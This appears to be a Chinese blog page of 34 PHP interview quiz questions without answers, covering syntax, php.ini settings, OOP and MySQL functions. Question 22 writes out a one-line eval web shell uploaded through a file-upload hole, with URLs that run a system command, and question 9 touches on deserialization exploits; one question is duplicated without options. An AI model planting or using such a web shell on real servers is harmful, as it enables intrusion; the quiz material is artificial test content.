2020PHP最新面试题

1.PHP的官网是?

A.php.com

B.php.net

C.php.org

D.php.cn

2.php 关于类继承说法正确的是

A.子类可以直接调用基类的所有方法

B.子类可以重写基类的方法

C.子类可以直接继承多个基类

D.子类可以重写基类 protected 级别方法为 private 级别

3.下面哪一个不是PHP内置的常量(不定项选择题)

A.__FILE__

B.__FUNCTION__

C.__VERSION__

D.__METHOD__

4.PHP Cookies说法正确的是( )(不定项选择题)

A.setcookie() 函数用于设置 cookie,且必须位于 <html> 标签之前

B.cookie 是服务器留在用户计算机中的小文件

C.cookie 常用于标识服务器

D.会话cookie的生命周期是在关闭浏览器前就消失,并且会保存在硬盘上

5.在PHP.INI中,如果想开启PHP中短标签方式,应该将(    )设置为“ON

A.log_errors

B.display_errors

C.short_open_tag

D.dtae.timezone

6.假设你有一个名为'index.php'的文件的路径为c:/apache/htdocs/phptutor/index.php,那么basename($_SERVER['PHP_SELF'])的返回值为?

 

A.phptutor

B.phptutor/index.php

C.index.php

D./index.php

7.在php中哪一个方法来获取浏览器属性

 

A.$_SERVER['PHP_SELF']
B.$_SERVER['HTTP_VARIENT']
C.$_SERVER['HTTP_USER_AGENT'];
D.$_SERVER['SERVER_NAME']

8.网络管理员执行 find / -name index.php & 指令, 为了直观现需把find转入前台,用到的指令是( )(不定项选择题)

A.jobs

B.bg

C.fg

D.ps

9.下列可用于PHP反序列化漏洞利用的伪协议是()

A.php://file

B.php://phar

C.php://input

D.php://zlib

10.下面的代码的输出是结果为:

1

2

3

4

5

<?php

$s = '12345';

$s[$s[1]] = '2';

Echo $s;

?>

A.12345

B.11345

C.22345

D.12245

11.在PHP的存储目录中,/tmp是长传文件的默认存储目录,更改这个目录需要编辑哪个文件的哪个属性值?

 

A.php.conf文件的upload_dir属性

B.php.conf文件的upload_tmp_dir属性

C.php.ini文件的upload_dir属性

D.php.ini文件的upload_tmp_dir属性

12.PHP链接数据库方法中,使用以下那条指令能够实现数据库的长久连接:

A.mysql_pconnect

B.mysql_pconnetcd

C.mysql_connectd

D.mysql_connect

13.在PHP中哪个变量数组总是包含所有总客户端发出的cookies数据:

A.$_COOKIES

B.$_COOKIE

C.$_GETCOOKIE

D.$_GETCOOKIES

14.在PHP操作数据库方法中,mysql_affected_rows()对哪个操作没有影响 

A.update

B.insert

C.select

D.delete

15.在以下PHP链接数据库语句中,数据库关闭指令将关闭哪个连接标识:

1

2

3

4

5

<?

$link1 =mysql_connect("localhost","root","");

$link2 =mysql_connect("localhost","root","");

mysql_close();

?>

A.报错

B.全部关闭

C.$link1

D.$link2

16.关于PHP中trait正确的说法是: 

 

A.使用trait实现了一种代码复用机制,使用extent关键字声明使用trait
B.使用trait实现了一种代码追踪机制,使用use关键字声明使用trait
C.使用trait实现了一种代码复用机制,使用use关键字声明使用trait
D.使用trait实现了一种代码追踪机制,使用extent关键字声明使用trait

17.如下代码输出为

1

2

3

4

5

6

7

<?php

$array = array(1

=> 'blue', 2 => 'red', 3 => 'green', 4 => 'red');

$key =

array_search('green', $array);

print $key;

?>

 

A.TRUE

B.FALSE

C.1

D.3

18.php-fpm运行的网站需要修改时区,需要进行如下操作:

 

A.修改php.ini的date.timezone,重启php-fpm
B.修改php.ini的date.timezone,无需重启php-fpm
C.修改php-fpm.conf的date.timezone,重启php-fpm
D.修改php-fpm.conf的date.timezone,无需重启php-fpm

19.在php中定义常量时,const与define的区别,说法正确的是(      )(不定项选择题)

 

A.const用于类成员变量的定义,一经定义,不可修改。

B.define不可用于类成员变量的定义,可用于全局常量。

C.const能在条件语句中定义常量。

D.define可以采用表达式作为名称

20.属于PHP内置的加密函数(      )

A.crypt()

B.md5()

C.sha1()

D.mhash()

21.在php中可以使用当前时间作为随机数种子产生随机数是安全的()

A.是

B.不是

22.假设某网站www.exploit.com存在文件上传漏洞,php语言编写,根目录是C:\wwwroot,现构造文件名test.php上传到服务器目录C:\wwwroot\upload下,内容为

<?php @eval($_GET['cmd']);?>

,请问下面的哪条url能够在服务器成功执行whoami命令?

 

A.http://www.exploit.com/upload/test.php?cmd=system('whoami');

B.http://www.exploit.com/test.php?cmd=system('whoami');

C.http://www.exploit.com/upload/test.php?cmd=whoami

D.http://www.exploit.com/upload/test.php?eval=system('whoami');

23.设有一个数据库mydb中有一个表tb1,表中有六个字段,主键为ID,有十条记录,ID从0到9,以下代码输出结果是( )'

<?php
    $link = mysql_connect('localhost', 'user', 'password')
    or die('Could not connect '.mysql_error());
    $result = mysql_query("SELECT id, name, age FROM mydb.tb1 WHERE id <'5'")
    or die('Could not query: '.mysql_error());
    echo mysql_num_fields($result);
    mysql_close($link);
?>
A.3

B.6

C.5

D.4

24.如果需要开发一个标准 php 的扩展,必须包含那些文件(多选):(不定项选择题)

A.config.m4
B.config.w32
C.php_counter.h
D.counter.c
E.package.xml

25.关于php性能优化方面说法错误的是:

A.尽量使用 ‘’ 而不是“”

B.如果可以的话 ,尽量用 static 函数

C.遇到大数组操作尽量传引用,尽量避免多次copy

D.递增局部变量比递增全局变量要慢

26.以下程序运行结果:(     )

<?
       $str = “LAMP”;
       $str1 = “LAMPBrother”;
       $strc = strcmp($str,$str1);
       switch ($strc){
              case 1:
                     echo“str > str1”;
                     break;
              case –1:
                     echo“str < str1”;
                     break;
              case 0:
                     echo“str=str1”;
                     break;
              default:
                     echo“str <> str1”;
       }
?>

27.的结果是什么?( )

$a="hello";
$b= &$a;
unset($b);
$b="world";
echo $a;

A.hello

B.world

C.NULL

D.unset

28.以下程序运行结果:(     )

<?
       $str = “LAMP”;
       $str1 = “LAMPBrother”;
       $strc = strcmp($str,$str1);
       switch ($strc){
              case 1:
                     echo“str > str1”;
                     break;
              case –1:
                     echo“str < str1”;
                     break;
              case 0:
                     echo“str=str1”;
                     break;
              default:
                     echo“str <> str1”;
       }
?>

A.str > str1

B.str < str1

C.str = str1

D.str <> str1

29.哪一个三元运算符相当于此脚本(     )

<?php
       if ($a<10){
              if($b>11){
                     if($c==10&& $d != $c) {
                            $x=0;
                     }else {
                            $x=1;
                     }
              }
       }
?>

A.$x = ($a < 10 || $b > 11 || $c == 10 && $d !=$c ) ? 0 : 1;

B.$x = (($a < 10 && $b > 11) || ($c == 10&& $d !=$c ) ) ? 0 : 1;

C.$x = ($a < 10 && $b > 11 && $c == 10 && $d !=$c ) ? 0 : 1;

D.以上都不是

30.下列代码输出内容是(   ) 

<?php 
class A{ 
    public function __construct(){ 
        echo "Class A...<br/>"; 
    }
}
class B extends A{
    public function __construct(){
        echo "Class B...<br/>"; 
    }
}
    new B();
?>

A.Class B...

B.Class A... Class B...

C.Class B...Class A...

D.Class A...

31.在PHP面向对象中,下面关于final修饰符描述错误的是( )

A.使用final标识的类不能被继承

B.在类中使用final标识的成员方法,在子类中不能被覆盖

C.不能使用final标识成员属性

D.使用final标识的成员属性,不能在子类中再次定义

32.阅读下面PHP代码,并选择输出结果(  )

<?php 
class A{
    public $num=100; 
}
$a = new A();
$b = $a;
$a->num=200;
echo $b->num;
?>

A.100

B.200

C.没有输出

D.程序报错!

33.早期的PHP代码中,除了使用function __construct()定义构造方法外,还可以使用( )

A.function __destruct()

B.function 类名()

C.function __tostring()

D.function __call()

34.获得实例化对象所属类名字的函数( )

A.get_class()

B.get_object_vars()

C.get_class_methods()

D.get_classname()

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值